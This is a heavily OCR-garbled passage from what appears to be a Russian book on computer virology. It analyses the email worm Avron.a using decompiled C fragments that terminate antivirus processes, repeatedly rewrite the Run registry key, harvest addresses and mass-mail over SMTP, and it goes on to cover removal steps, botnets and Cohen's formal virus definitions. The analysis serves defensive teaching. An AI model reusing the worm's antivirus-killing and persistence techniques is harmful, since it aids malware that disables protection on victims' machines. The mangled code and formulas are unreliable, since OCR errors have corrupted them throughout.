Т е г т т а Т е Р г с с е з з ^ т е ,  0 ) .  . / /  Заверши~ьсй

е !в е  С геаТ еМ техА О п и, 1, “ Ауг11 ЬаУ1 дпе” 5; 

1 п и 1 5 Н г е О .-1 Г 1 с а 1 3 е с п о п (& с :. ; .

/ /  Ииаче -  со зд а ть  такой  мьютекс 
/ /  О сзлать  синхронизируюций о бьект
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1Г ( !И8А31;аг1:ир(0х101, &пм ) { /7 Попитатьоя инициа.пизироаать оеть

СгеаГеТПгеайСР, 0, ЗиЬ_8епйК, 0, 0, &Г1); /7  Поток размножения по почте
СгеагеТПгеав(0, 0, 8иЬ_Ғ1п<М<1г, 0, 0, *г2); /7 Поток поиска почтовнх эдресов
Сгеа«ТПгеай(0, 0, ЗиЬ.ЗеИйед, 0, 0, Ш ) ;  Ц  Поток модификации Реестра
Сгеа1:еТ(>геа<1(0, 0, 5иЬ_Ғ1дЬгАУ, 0, 0. Ш ) \  / /  Поток. борьбм с антивирусами

(йи1е ( 1 ); / /  Зацикпиться и "повиснуть" в памяти
>

Анализируя этот фрагмент, можно прийти к вмводу, что сушеству- 
ет возможность «вакцинировать» память компьютера -  запустить 
безвреднмй процесс, создаювдий мьютекс с именем «А\т11 ЬаУ1£пе». 
Червь на таком компьютере просто откажется работать.

Кроме того, червь внполняет свои действия в бесконечном цикле 
четмрьмя параллельно работаюшими потоками. Д.чя синхронизации 
работь! этих потоков (например, чтобм два потока не пмтались одно- 
временно открьггь один и тот же файл) он пользуется механизмом 
«критических секций».

6.722. Борьба с антивирусами
Методм, используемме червем для борьбм с антивирусами, очень 

поучительньг. Фактически антивирусм сами используют нечто по- 
добное для обнаружения и уничтожения вредоноснмх процессов.

Прежде всего червь при помо1ди системного вмзова «СеСУегзюп- 
ЕхА» определяет текухцую версию \¥]Пс1о\ч'з и генерирует текстовую 
строку с именем операционной системм, а затем использует ее для 
вмбора используемого метода сканирования процессов:
еиЬ.СеСТегзО; /7 Опоеделение имени еерсии уЦпйомв
1 Г ( зТгзтг^ЗГг, "«1п9Х") ) 5иЬ_Ғ1д(11;9Х(): 
е1зе зиЬ^ҒхдИгИТ();

( з ' г 51;г (8 1 : г , "МшЗХ") ) Вед18гег8етсеРгосе88(0, 1 ) ;  / /  "Спрятзться" в памяти

В операционнмх системах семейства \¥1п(1о\У8 9Х перечисление 
процессов и удаление тех из них, кто имеет «антивирусное» имя, вм- 
полняется след}тоадим образом:
В001 зиЬ_Ғ1дМ9Х() (

НАИ01Е (12, И4;
РН0СЕ38ЕНТНУ32 ре;
Ь2 = СгеаТеТооХНе^аЗгЗпараИоКг, 0);
ре.р«312е = 296;
1Т ( Ргогезз32Ғ1Г5Т(»12, &ре) ) {
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йо {

\Т (8иЬ_Вас1Нат0(ре.82ЕхвҒ11б))а& / /  Имя есть в спиоке?
(ре. г(132РгосеззЮ! =0е1СиггепгРгосе$51с1()) { / /  Только не себя

Ь4 = 0репРгосезз(0х1Ғ0ҒҒҒ, 0, реЛП32РгосеззЮ); / /  Получить 10 антивируса
ТеглйпаТеРгосезз^М, 0); / /  Завершить антивирус
С1озеНапй1е(л4);

}
}

}
иЛНе ( Ргосезз32Мех1:(Ь2, &ре) );

}
ге*игп С1озеНапс11е(И2);

}
Аналогичньш фрагмент, ориентированньш на \¥ 1пс1о\У5 N1', пере- 

числяет не сами процессн, а окна процессов:
ВООЬ зиЬ_Ғ1дптМТ() { 

гегигп ЕпшлМхпйоиз^ЕпитҒипсО. 0); / /  Перечислить окна
}

1 пг ЕпиЛ1Ғипс(НМШ а 1, 1РАЙАМ а2) {
НМНЙ ь;
0И0Й0 Ю; 
сЛаг з[0хҒҒ];

Се1Шп<1о«Тех1А\,а1, з, ОхҒҒ),
1Т (зиЬ_ВайМате(з)) {
оеШпОо«ТИгеааРгосезз1й(а1, М в);

1Г ( 1 й != ОегСиггепгРгосеззМО )
Ь = 0репРгосезз(0х1Ғ0ҒҒҒ, 0, Ю)
Тегт1патеРгосезз(Ь, 0);
С1озеНапс11е(И);

}
}
ге1игп 1;

}
Остается добавить, что функция «зиЬ_Вас1Мате» пьхтается найти 

имя процесса или заголовка окна в огромном (около сотни строк) 
списке, содержавдем имена антпвирусов и системнмх утилит, типа 
«АУР32.ЕХЕ», «011ТР05Т.ЕХЕ», «ТВЗСАМ.ЕХЕ», «Ғ-РКОТ.ЕХЕ>, 
«КЕСЕВ1Т.ЕХЕ» и т. п. Таким образом, антивирусньга процесс, за- 
пувденньш после червя, с внсокой долей вероятности будет «убит». 
Впрочем, антивируснне мониторьт обнчно оформляются в виде вир- 
туальнмх драйверов, для поиска запувденнмх процессов обрашаются 
не к сервисам 3-го кольца завдитм, а напрямую к служебннм спискам 
операционной системн, поэтому они всегда «стреляют первьтми».

// Заголовок окна 
//  Имя есть е еписке?
,// 10 потока, создавшего окно 

{ /7 Только не себя
/ /  Получить 10 антивируса 
/ /  Эавершить антивирус
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6.7.2.3. Модификация Реестра
Для того чтобн получить управление после перезагрузки операци- 

онной системм, червь модифицирует Реестр, причем делает это в от- 
дельном зацикленном потоке:
уо1й  зТасаП $иЬ_Зе1:Вед(1РШ0 а1) { /,/ Параметр -  путь и иия копии черзя

спаг »0=51:; НКЕУ ИКеу;
з р а п Ш  Оезг, ", а1);
мш1е (1) {
ВедСгеа1:еКеуА(НКЕУ_10СА1._МАСНШЕ,

"5о«и8ге\\й1сгозо?1:\\И1пбоиз\\СиггепШг51оп\\Вип'\ &АКеу);
ВедЗе1:Уа1иеЕхА(11Кеу, "М оШ яег", 0, 1, &0езТ, 0x400);

>
Это означает, что при находявдемся в памяти черве, сколько ни 

убирай из Реестра строчку автозапуска, она каждьш раз будет появ- 
ляться вновь.

6.7.2.4. Поиск адресов
Электроннне адреса, на которне планируется саморассьшка, червь 

черпает из двух источников.
Во-первнх, он в ветви Реестра -«НКСи\5 оЙлуаге\М1сгозоЙ;\\¥АВ\ 

\\гаЬ ҒИе Магпе» пнтается обнаружить путь к адресной книге текувде- 
го пользователя. Если \¥АВ-файл обнаружен, червь извлекает из него 
электроннме адреса абонентов. Кстати, в операционннх системах, на- 
чиная с \¥ тс 1о\У5 ХР, искомне сведения о \¥АВ-файле расположенн 
немножко в другом месте, так что данньш алгоритм успехом не увен- 
чается.

Во-вторнх, червь рекурсивно сканирует каталоги всех доступннх 
дисков, останавливая свое внимание на файлах с расширениями 
«.ОВХ», «.НТМ», «.ЕМЬ» и прочих. В них ивд>тся алфавитно-цифро- 
вьте фрагментн с символом в середине -  они считаются адресами
абонентов.

Все найденнне адреса записнваются в файл «ПЗТКЕСР.ШХ».

6.7.23. Распространение по электронной понте
Письма с вирусньш вложением распространяются в бесконечном 

цикле при помовди отдельного потока. Так как расснлка почтн запус- 
кается до поиска адресов, то:

О поток расснлки перед началом работм задерживается на 7 се- 
кунд;



О  для синхронизации используется механизм «критических сек- 
ций».

уо1й ЗгапАаогеззСгРУОЮ  а1) { 
з1:гис1: Иоз1 еп1: *у1;
с(1аг / /  Таблица адресов префиксов
сйаг а [ ]; /7  Строка очередного адреса
51еер(0х1В58): / /  Задержка на 7000 мс
и Ш е  ( 1 ) { 

с)о {
ЕпТегСгШ са^ есТа.огК&СгШ саХЗесИоп);
1еауеСг11:1са15ес1:1оп(&СгШса15ес1:1оп);

) «Г|11е ( Гоипй > зепг ); / /  Пока не появится новий адрес
Еп1:егСг111са15ес1:10п(&Сг1Т1са15есТ10П);
5Тгсру(а, ас)гез8ез[зея1:++]); / /  Прочитать новнй адрес
геауеСПИса^ЗесТюп^&Сгитса^ЗесПоп);
зи6_8и11йН(а); / /  Сгенерировать имя сервера и -> "з""
мппе ( *ат ) { / /  Адрес таблици префиксов

5рг1пТТ(паше, "#8*з", *у2, ап); / /  Сгенерировать вариант имени сервера
VI = 5иЬ_ТгуСопп(пате); / /  Попитаться подключиться к серверу
++ат;
1 ( ( VI ) 8иЬ_$еп0МаИ(а); / /  Сервер отввтил -  послать письмо

>
}

Итак, из файла «1Л5ТК.ЕСР.01Х» считмвается очередной адрес, 
и его правая часть, расположенная после символа «@», использует- 
ся для формирования гипотетического имени почтового сервера. 
Например, из адреса «тазЬа-уе5пизЬк1па@гатЬ1ег.ги» при помоши 
различннх префиксов получатся два варианта имени сервера: таЛ. 
гатЬ1ег.т и 5т т .г а т Ь 1ег.ги. Далее при помоади системной функции 
«деСЬояГЬупате^ производится попнтка определить 1Р-адрес серве- 
ра, и если она удачна, то червь соединяется с этим сервером и посн- 
лает на него электронное письмо по простому протоколу 5МТР, не 
требуювдему аутентификации.

Возможнм различнне вариантн организации письма. Вчастности, 
червь случайннм образом -  из большого списка -  внбирает заголовок, 
тело письма, обратньга адрес, имя файла вложения и т. п. Не брезгует 
он и элементами социальной инженерии: способен прочитать в ветви 
Реестра «НКЬМ\8о£1%гаге\М1сгозоЙ:\\У1П(1о\У5\Сиггеп1;Уег51оп» имя 
пользователя зараженной машинн (ключ « Ке^зТегесЮчупег») и вста- 
вить его в текст письма.
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6.7.3. Методь! удаления
Анализ «внутрениостей» червя Е-\¥огт.\Ут32.Аугоп.а показал, что 
справиться с ним очень легко. Удалить его с. компьютера можно бук-
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вально «голнми руками». Кроме того, знаний и умений, полученннх 
читателем к этому моменту, вполне хватит, чтобн самостоятельно 
написать несложную антивирусную программу. Последовательность 
действий примерно такова:

О  предварительно изучить код и вмбрать сигнатуру, например 
8 байтов 4 7 5  2С 2А 65 07 ВА 37 6 С», расположенннх по файло- 
вому сметению ЮООЬ1;

О перечислитъ все процессн в памяти (в \¥ тс 1о\\г5 9Х при по- 
мо1ци «Ргосе5532Ғ1г8(;»/>Ргосе5532Нех(>, а в \У1пс1о\\'8 N7 при 
помоши «2\у^иегу5у8Тегп]п£огта(;юп»), сопоставить каждому 
из них файл, из которого он стартовал, и, пользуясь методом 
сравнения сигнатур, определить тот процесс, которьш соответ- 
ствует червю;

О принудительно завершить этот процесс (технику заверше- 
ния провде всего подсмотреть у самого червя \¥опп.Шш32. 
Аугоп.а);

О просканировать все ключи в ветви « Н К ЬМ \8 оГтлуаге\..,\Клп », 
сопоставить каждому ключу запускаемьш при помоши него 
программннй файл и, пользуясь методом сравнения сигнатур, 
определить тот ключ, которнй соответствует червю;

О удалить этот ключ;
О наконец, просканировать все диски (прежде всего С:) и удалить 

все программнне файлн, сигнатура которнх совпадает с сигна- 
турой червя;

О напоследок удалить файлн «КЕ\¥ВООТ.8 УЗ» и «1Л5ТКЕСР. 
БЕЬ».

При написании такого антивируса придется решать ряд типовнх 
задач -  рекурсивньхй обход каталогов, сканирование памяти, работа 
с Реестром, поиск сигнатур в файлах и т. п. Интересно, что сушест- 
вуют антивирусм-«полуавтомать1 >>, которне реализуют подобнне 
задачи в виде программннх «кубиков» и предоставляют пользова- 
телю возможность самостоятельно скомплектовать из них набор 
антивирусннх процедур для конкретного вируса. В 1990-х годах та- 
кими «полуавтоматами» бнли МиШЗсап В. Колесникова и АУ5Р А. 
Борисова, а в эпоху сетевмх червей и троянских программ широкую 
известность получил очень удобннй антивирус А\;2 О. Зайцева (см. 
рис. 6.23).

1 В точке входа снгнатуру вмбирать нельзя, так как файл упакован и начало 
кода заведомо принадлежит распаковшику.
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Это набор моадншх антивирусньгх инструментов, объединеннмх 
под крмшей одной утилитм. Он позволяет просканировать диски, па- 
мять и конфигурационнне файлм компьютера как в автоматическом 
режиме -  обравдая внимание на гооГ.кй-механизмм и любме подозри- 
тельнме файлм, процессм и ключи, так и в режиме «полуавтомата», 
когда критерии -«зловредности» и правила исцеления задаются поль- 
зователем в виде сценариев на встроенном скриптовом язмке.

Н̂ТИЕ-Н̂ С̂НГз! ‘мТИЛИТ̂ Д\'2 ин
Сереис АУ2биап1 АУ2РМ Слравкв

Запустить сканирование 
Пауэа в осанироеании 
Остановитъ скажровамие

Исследоеание систени 
Восстаиселетв систе*ь<
Реэереное копироеание 
Рееимр
Мастер поиска и устранения гроблем

Стандартпде офигггь»

Обиоелеиие бвз

Просиотр слиска подоэрительньос объектое 
Сохранить прогокол 
Очистить протокол

етрьшоиска | - Методика лемения------------------------------------ -
□  Вуполнять лечение:

Вирису; Удалять у/

АсМУвге; Удалять ч/

Зоу/Зруу^аге: Удолять ч/

0|а1ег>РотУ*/аге: Удолять у/

НаскТоо!: Только огмет V

ҒйзкУ^аге: Только отчет у/

0  Эвоистическое цдвление Фойлое
□  Копировать удаляемуе файлу е 1п1ейей
□  Копироеать подозрительнме в карантин

О Пуск | [ О  Пацэа | [ О  Стап ]

Рис. 6.23 ❖ Антивирус РШ.

Скрипт для поиска и удаления червя \Уогпг.\¥|п32.Аугоп.а при- 
веден в приложении.

6.8. Современнь1е сетевьге вирусь! 
и черви

Извечной и зловегцей мечтой вирусов являет- 
ся абсолютное мировое господство...

А. и Б. Стругацкие. «Сказка о тройке»

Итак, первме попнтки вирусов копировать себя по сетям, относявдие- 
ся к 1998-1999 годам, продемонстрировали возможность и эффек- 
тивность подобного метода размножения. Рубеж двух веков (1999- 
2 0 0 1  годм) бнл пересечен под знаком борьбм с многочисленньши 
примитивннми почтовмми червями, написанньши на скриптовмх 
язмках (например, на УВА и УВ8 ). Такие черви, как Масго.\Уогс197.
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МеИява, Е -\¥опп .УВ 5 .Ғгее1тк8 , Е -\Уогт.УВ5.ВиЬЬ1еВоу, Е -\У о гт . 
УВЗ.ЬоуеЬеМ ег, Е -\¥ о гт .У В 5 Х е е , Е -\У о гт.УВ 5 .№ \уЕ оуе , 
Е -\Уогт.УВ 8 .51а§ез, Е -\У о гт .У В 5 .Т 1 то С о тса  и прочие, распро- 
странялись по миру в десятках и сотнях тнсяч копий. Для написания 
подобннх саморазмножаюшихся программ не требовалось сколь- 
нибудь вмсокой квалификации, а к услугам индивидуумов, вообше 
не умевших программировать, но желаюгцих вписать свое имя в исто- 
рию, имелись несколько десятков «генераторов». Примерно в это же 
время бмла обнаружена уязвимость М501-020, которая подвигла ви- 
русописателей на смену приоритетов: почтовме черви 2002-2004 го- 
дов стали создаваться на компилируемнх язнках программирова- 
ния -  С/С++, Разса1. У1зиа1 Вазк: и т. п., а для размножения сначала 
использовались средства МАР1 (в таких червях, как Е-\¥огтп .\¥т32 . 
№уй1а<1, Е -\¥о гт.\¥1п32 .Т Ь отс, Е -\\го гт .\\1п 32 .Когоп и т. п ), а за- 
тем и прямое соединение с почтовнм сервером по протоколу 5МТР 
(черви Е-\Уопп .\У т32 .А угоп , Е -\¥ о гт .А и 2, Е -\Уогт.8ш еп , Е -\¥ о гт . 
Ю ег, Е -\¥огт.\¥т32 .М 1та11 , Е -\¥ о гт .\У т32 .К еЬ 5ку , Е та Н -\¥ о гт . 
\У т32 .5 оЬ |§  и т. п.). «Социальная инженерия» тоже расцвела в эти 
годн: значительная часть вирусов не использовала никаких «днр», 
а просто распространялась в виде программньгх файлов, снабженннх 
завлекательнь!м текстом электронного письма. 1 1о своим масшта- 
бам почтовне эпидемии 2002-2004 годов, пожалуй, превосходили 
эпидемии УВ5-червей начала века. Апофеозом этого этапа истории 
сетевой заразн стала крупная эпидемия червя Е Л У о гт .М у й о о т  зи- 
мой-весной 2004 года. Однако к этому времени закончилось массовое 
использование операционннх систем \¥ 1пс1о№5 9Х с 4днрявнм» по- 
чтовнм клиентом Ои11оок, а вместе с ними потихоньку угасли и круп- 
нне почтовне эпидемии. Нет, расснлка вирусов через электронную 
почту не исчезла из арсенала вирусописателей, но глобальннх почто- 
внх эпидемий больше не наблюдалось. Тем не менее 2002-2004 годн 
чаше всего вспоминаются как эпоха стремительнмх и обширнейших 
эпидемий червей, используюших для своего распространения не 
электронную почту, а «днрн» в сетевнх компонентах операционннх 
систем. Черви № с-\¥огт.Сос1еКес[, № 1;-\¥огт.51аттег, ^е£-\№ огт. 
Ьоуевап, ^е1-\¥огт.8а55ег и т. п., заражая миллионн компьютеров, 
буквально потрясали Интернет, приводя к перегрузкам сетевнх сег- 
ментов, массовнм отключениям серверов и т. п.

Мировое компьютерное сообшество не могло не отреагировать на 
внзов со сторонн вирусопнсателей. Исправлялись ошибки в про- 
граммном обеспечении, совершенствовались алгоритмн сетевнх про-
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токолов. Брандмауэр стал обязательнмм атрибутом любого компью- 
тера, подключенного к сети. Полиция разнмх стран, координируя 
совместнме действия, разоблачила и арестовала нескольких актив- 
ннх вирусописателей.

И в 2004-2005 годах закончился «романтический» этап в исто- 
рии компьютерной вирусологии. Создание «конкурентоспособннх» 
вирусов, распространение их и заметание следов оказалось больше 
не под силу честолюбивьм хулиганам-одиночкам, определявшим 
«вирусную погоду» в течение почти двух десятилетий. Замолкла на 
несколько лет, а потом (в 2007 году) заявила о своем самороспуске 
знаменитая группировка вирусописателей «29А». Глубокие иссле- 
дования свойств операционннх систем, написание вмсокосложнмх 
библиотек, анонимность в Интернете стали невозможнн без «про- 
фессионального» подхода, без вложения «в тему» немалнх денежнмх 
средств. Заниматься вирусописательством стало возможннм только 
в том случае, если оно приносит доход.

Так вирусописательство превратилось в бизнес и неминуемо кри- 
минализировалось.

Современннй сетевой или почтовнй червь -  это не просто само- 
размножаюшаяся программка, предназначенная для демонстрации 
«крутости» автора. Это сложнмй, многофз^нкциональнмй комплекс, 
служаший средством доставки на зараженнмй компьютер троянских 
программ и компонентов. Среди особенностей современнмх червей 
можно вмделить следуюшие.

6.8.1. Модульное построение
Современнне черви сложнь1 по своей структуре и используют смо- 
дульнмй» принцип построения. Это означает, что вирусописатель 
имеет в своем распоряжении библиотеку из множества -«кубиков», 
предназначеннмх для решения типовнх задач, например чрасснл- 
ка аЬеП-кода», «распространение по почте», «установка в системе», 
«обеспечение невидимости», «полиморфизм» и т. п., причем кажднй 
«кубик» изготовлен в виде нескольких альтернативннх вариантов. 
При генерации исходного текста эти «кубики» можно в автомати- 
зированном режиме варьировать и переставлять местами. Добавьте 
к этому использование различннх упаковвдиков типа 11РХ, АзРаск, 
Уос1а и т. п., а то и нескольких сразу, -  и вн получите сотни и тнсячи 
разновидностей одного и того же червя. Их можно сгенерировать за 
5 секунд, а потом вмпускать в Интернет в течение нескольких недель 
и месяцев по нескольку штук в час с разнмх хостов. Например, в ги-
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пертекстовой «Энциклопедии Касперского» зарегистрированьг сле- 
дуюхдие количества червей (без учета троянских программ, входявдих 
в те же семейства):

О Е-\¥опп.\¥агегоV -  1326;
О Е-\Уогш .Ва§1е -  875;
О  Е-\¥огт.2Ье1айп (он же 54огт \\Ъ гт ) -  764;
О  Не1-\Уогш .Му1оЬ -  720;
О № 1-\\Ъ гт.Кн1о (он же Сопйскег) -  308;
О № £-\Уогт.Ра<1оЬо£ -  239 и т. п.
Разбирайся, вирусолог, если терпения хватит!
Кроме того, модульность проявляется евде и в том, что вредоносная 

программа может состоять из нескольких файлов, каждмй из кото- 
рмх предназначен для решения какой-нибудь отдельной задачи.

6.8.2. Множественность способов распространения
Современнме черви используют сразу несколько способов распро- 
странения. Например, вот фрагментн описания не слишком извест- 
ного (лето 2004 г.), но очень характерного червя №1-\Уогт.К1Ьиу.Ь: 

Вибирая произвольнь/е 1Р-адреса, сканирует сети на наличие на 
удаленномкомпьютереуязвимостейв ЙРС, 1.5А35, П55.0исерви- 
се сообшений. Проверяетна 5554 портуналичие ҒТР-компоненть! 
червя Заззег. Также проверяет наличие Ьаскдоог-компонентш от 
сетевого червя Вад1е.
При нахождении подобного компьютера червь отсилает на него 
соответствуюший эксппойт...
Червь эаходит на 1ЙС-сервер... Также рассь/лает всем вновь во- 
шедшим ссь/лку на себя...

Очень разнообразно размножались черви семейства №£-\Уопп. 
\Уагегоу Бмли версии (например, КеС-^Уогт.^Уагегоу.О!), которме 
распространялись только с использованием протоколов 1С£). Не- 
сколько десятков версий, подобннх №<:-\У0 пп.\Уаге2 0 У.п{\ поль- 
зовались услугами электронной почтм, но распространяли не себя, 
а троянскую программу, которая, будучи запушена, загружала на за- 
раженнмй компьютер с сайта-посредника различнме вредоноснме 
компонентм, в том числе и самого червя № 1;-\¥огт.\Уаге2 0 У.п1\ В то 
же время версия КеЬ-^УогтпЛУагегоу.Ь^ представляла собой самого 
обьиного почтового червя, рассмлаювдегося по всем найденнмм на 
днске электроннмм адресам.

А вот черви семейства № 1:-\¥огт.К 1с1о (он же Сопйскег) рас- 
пространялись как по локальной сети, так и через «флэшки» (этот
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вид файловьк червей бнл уже упомянут нами в главе, посвяшенной 
\*/1п32-вирусам).

Таким образом, от типичного современного червя трудно уберечь- 
ся, закрьш какой-нибудь один порт или поставив одну «заплатку». 
Современньге «многовекторние» сетевне черви размножаются почи- 
ше «куриного»- или «свиного» гриппа -  сразу и половим, и бнтовьш, 
и воздушно-капельннм путем.

6.8.3. Борьба червей с антивирусами
Современнне черви используют сложнейшие методн обеспечения 
своей невидимости и противодействия исследованию со сторонн 
вирусологов. Например, черви разновидностей Ке{-Шэгт.Ва§1е.п и 
^еЬ-ЛУогт.Ва^е.р, кроме того что распространяют себя по почте и 
по файлообменннм сетям, отключают большое количество антиви- 
русов, еше и умеют заражать исполняемне файлн, полиморфно ви- 
доизменяясь при этом. А черви №1-Ш эгт.2Ье1а1т.а и Не1-\¥огт . 
2Ье1аИп.о не видньт в памята и Реестре, так как используют гоо1 кИ- 
технологии.

Современнне черви не обязательно стараются подольше прожить 
на компьютере, оставаясь незамеченннми. Нередко они полностью 
проживают отмеренннй автором срок и мирно самоуничтожаются, 
оставляя после себя следн только в виде гагантских счетов от про- 
вайдера хозяину компьютера за гигабайтн разосланного спама.

6.8.4. Управляемость. Ботнети
Множество машин, зараженннх современньхми червями, образуют 
управляемую систему. В простейшем случае черви самоуничтожают- 
ся после определенной датьх, как, например, многие разновидности 
семейства ^ е 1 -\¥огт.В а§ 1е. Более «продвинуть1ми» являются под- 
ходн, когда черви внполняют командн, либо поступившие из едино- 
го центра, либо переданнне по цепочке от другой, зараженной тем же 
червем машинн (по технологии Р2Р -  «точка-точка»).

Делается такой «программншй люк» (или «ЬасМоог* -  черннй ход) 
очень просто. Червь запускает один из своих потоков в виде серве- 
ра, слушаюшего какой-нибудь неиспользуемнй порт, и извлекает 
из пришедших пакетов условнне командн. В соответствии с этими 
командами он может внполнять на зараженном компьютере самне 
разнообразнне действия. Вот, например, список команд и откликов, 
извлеченннх из дампа червя Е-\Уогт.Ве§1иг.Ь:
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Цвитрашзовамная рассьтка команд Рассьшка комаид *по цвпочке*

'Хозяиио

Рис. 6.24 ❖ Различние архитектури «ботнетов»

## 51т( П(д 5/г/ ## У1>Р! Ршс! Р1г: Цзд'т Ғ/гзИ А1геабу! ШаН! Маз(ег 
рччб сЬд гдзМ. Му Рмб:/> Ршд СЬапдед! Мзд 8пИ ҒаН ЗМ Мзд! ҒНе 
Ое1.! ҒаН Ое!.! й/г. Ят\/.! ҒаН Я ту  О/л / О/г СгеаХесИ! СгеаХе О/г. ҒаИ! 
СоруШе бопе! Сап '( Сру ог !аШ Мо\ЛПе бопе! Сап Ч Моу о г  даШ Ехес 
Оопе! Ехес ҒаШ СМО с т б  IаШ !т . бк. са11 ог рагат.! Зрес. Я1е по( 
ЎоипсИ ШаИб Рагат! ҒНе х ех1з(! ҒНе Ассезз Еггог! ЗГМОшп Опбашау! 
/ли ЗЬЮи/п Рагат! 5иг ОЯ! Цпкпошп стс1!
Очевидно, что автор червя собирался удаленно менять на заражен- 

ной машине пароли, создавать и удалять каталоги, копировать файлн, 
запускать различнне программн, перезагружать систему и прочее.

Собственно говоря, большинство современннх червей именно 
для этого и предназначенн -  для создания огромннх «зомби»-сетей 
(«ботнетов»), состояших из зараженннх компьютеров, которне вн- 
полняют внешние командн. Ну не для дурацких же шуток типа тех, 
которнми развлекались вирусописатели начала 1990-х годов, верно? 
Современнне сетевне вирусм и черви предельно утилитарнн. Как 
«веселне», так и «кошмарнне» проявления с их сторонн -  огромная 
редкость.

«Зомби»-сети создаются долго -  путем расснлки в течение не- 
скольких недель и месяцев многочисленннх разновидностей како- 
го-нибудь червя -  и состоят из десятков и сотен тнсяч зараженннх 
компьютеров. Нередко они содержат несколько структурннх слоев -  
один занимается ретрансляцией команд, другой перекачивает спам, 
третий «вербует новобранцев», расснлая новне разновидности чер- 
вей и т. п. Стоят такие сети недешево. Вирусописатель-продавец, соз- 
давший «зомби»-сеть, может виручить за нее у спамера-покупателя 
очень и очень «кругленькую» сумму. Ведь при помовди такой сети, 
обладаювдей гигантской внчислительной мовдностью и пропускной 
способностью, можно переснлать сотни миллионов и миллиардн ко-
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пий рекламнмх писем и троянских программ в сутки. Получать до- 
ступ к сотням тмсяч чужих секретньгх паролей, банковских реквизи- 
тов и конфиденциальнмх документов. Скоординированной лавиной 
запросов на какой-нибудь сайт надежно блокировать его работу...

А вот для расшифровки человеческого генома и моделирования 
движения звезд в Галактике подобньге сети ни разу еше не использо- 
вались. Идеи Дж. Шоча и Й. Хаппа [60] пропадают втуне.

Почему-то...



ГЛАВА

Философские 
и математические 

аспекть!
Компьютерная вирусология -  это не просто набор технических све- 
дений об устройстве и алгоритмах работш саморазмножаювдихся 
программ. Это обширная «дисциплина»-, лежашая на стьше самих 
разнообразнмх областей науки и техники. Давайте же рассмотрим не 
затронртме нами ранее. но очень поучительнме аспектм компьютер- 
ной вирусологии.

71 Строгое опредедение вируса
От природш он научен только пшцеваригпь и 
размножаться.

А. и Б. Стругацкие. «Град обреченннй»

Ранее мм определили компьютерньш вирус как
«программу, способную к несанкционированному созданию сво- 
их функционально-идентичнш копий».

Отдельно мм оговорили, что всяческие вредоноснне действия 
типа нскажения или уничтожения даннмх обязательнмм свойством 
вируса не являются.

Можно пользоваться и определением из ГОСТ Р 51188-98 [5]: 
...программа, способная создавать свои копии (необязательно 
совпадаюшие с оригиналом) и внедрять их в файль/, системнь/е 
области компьютера, компьютернь/х сетей, а также осушествлять 
инь/е деструктивнь/е действия... при этом копии сохраняют спо- 
собность дальнейшего распространения.
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Хотя оно довольно расплнвчато и оставляет -«за бортом» некото- 
рне важнне нюансн (например, несанкционированность и неконтро- 
лируемость размножения). В соответствии с ним, например, является 
вирусньш (и более того, вредоносннм!) процесс загрузки операци- 
онннх систем, предусматриваюший копирование содержимого за- 
грузочннх секторов в память и переметение их из одного региона в 
другой.

Зачем же нужнн более строгие определения?
Ну, во-первнх, очень многих исследователей не покидает желание 

обнаружить некую формулу или систему правил, позволяювдую от- 
личить компьютерннй вирус от других программ, применить ее на 
практике и таким образом создать «совершенньга антивирус».

Во-вторнх, манипуляции с формальньш определением позволили 
бн предсказьюать как поведение каждого отдельного вируса, так и 
возможное направление развития всего класса подобньтх программ.

Наконец, поскольку компьютерннй вирус обладает мнопши свой- 
ствами живого организма, то сушествование такого определения 
означало бн смнкание самьгх разннх наук, таких как информатика, 
математика, химия и биология, и совместное продвижение их по на- 
правлению к осознанию понятия Жизни.

Сразу отметим, что универсального определения, позволившего 
бн разрешить все эти проблемн, пока не создано, и вряд ли это кому- 
нибудь удастся. Тем не менее попнтки бнли, и о них мн сейчас по- 
говорим. Большинство определений можно разбить на две большие 
группн:

О  связнваюшие понятие компьютерного вируса с понятием -«раз- 
множения»;

О связшваюшие понятие компьютерного вируса с понятием «за- 
ражения др}тих программ».

Легко видеть, что первая группа определений более универсальна, 
она охватнвает практически все известнне типн вирусов, включая 
червей. Вторая же группа относится только к вирусам-«паразитам».

7.1.1. Модели Ф. Коэна
Исторически первне формальнне определения вируса бнли предло- 
женн в докторской диссертации Ф. Коэна (Ғгес! СоЬеп) и гюлучили 
известность благодаря использованию их в статьях «Компьютернне 
вирусн: теория и экспериментн»- [37] и «Внчислительнне аспек- 
ть1 компьютерннх вирусов» [38]. Словесное определение вн{)уса- 
«паразита» вьтглядело так:
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Ми определяем компьютернь/й вирус как программу, которая 
может заражать другие программь/, модифицируя их таким об- 
разом, чтобь! внедрять в них собственную, возможно видоизме- 
ненную, копию.
Следукмцая, очень абстрактная модель вирусов базировалась на 

способе описания алгоритмов при помовди «машинм Тьюринга» (см. 
рис. 7.1).

Головка

«Машина Тьюринга» определяется:
О 5 = {х,, х2, -  х„} -  множеством состояний, в котормх она может 

находиться;
О  /  = г2, ... гга} -  алфавитом данннх, записанннх на ленте;
О № 5 х /- > 5 ,0 .5 х /-> / , /? :5 х /—> й -набороминструкций,кото- 

рне в зависимости от текувдего состояния «машинн» и данннх 
в текушей ячейке лентн устанавливают новое состояние, изме- 
няют даннне на ленте и определяют перемевдение г/ = { - 1 , 0 , + 1 } 
головки чтения-записи относительно ее текувдего положения.

Согласно известному тезису Черча, при помовди «машинн Тью- 
ринга» можно описать любой алгоритм и, таким образом, смоделиро- 
вать работу любого программируемого устройства.

Коэн рассматривал не все возможнне «машинн Тьюринга», а толь- 
ко те из них, даннне на ленте которнх предназначенн для дальнейшей 
«интерпретации», то есть сами представляют собой программн. Он 
ввел три дополнительнне функции: 8(М): Лг^ 5  состояние машинн 
после Л-го шага работьк □(Л’’): Лг х N  —> I  -  содержимое указанной 
ячейки после указанного шага и Р(М): N —> N  значение следуюшего 
номера ячейки после вьшолненпя указанного шага. В совокупности
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эти функции представляют собой «историю поведения» машинм, и 
с их помошью Коэн составил определение «вирусного множества» 
У5, то есть множества V компьютернмх вирусов для «машинм Тью- 
ринга» М.

УМУУ
(М, У)е У51//

[ У е Т5] апЛ [М  е  ТМ] апЛ

[Ууе У)ЧНи

& т
[ Р ^ )  ~]аги1

= ̂ мо апЛ

Ф *№>])< 0м(с.7 -  М - 1 )) -  в
I =»
[З о 'б  \\Э1'>1[ЗУ

[[[(/' -  |р'1) ̂ Л ог [(/ -  Н * /]ап<1
(0 м(г',/).....□«(<',/ + |с;'1 - 1 ) -  о' апс/

{34" 51. [ £ < { " <  г'1 апс1

[РЛОе {/, ~ ,/ + И-ШШ]]]

Для всех машин М  и множесгв V

пара (М, V ) является «вируснмм множест-
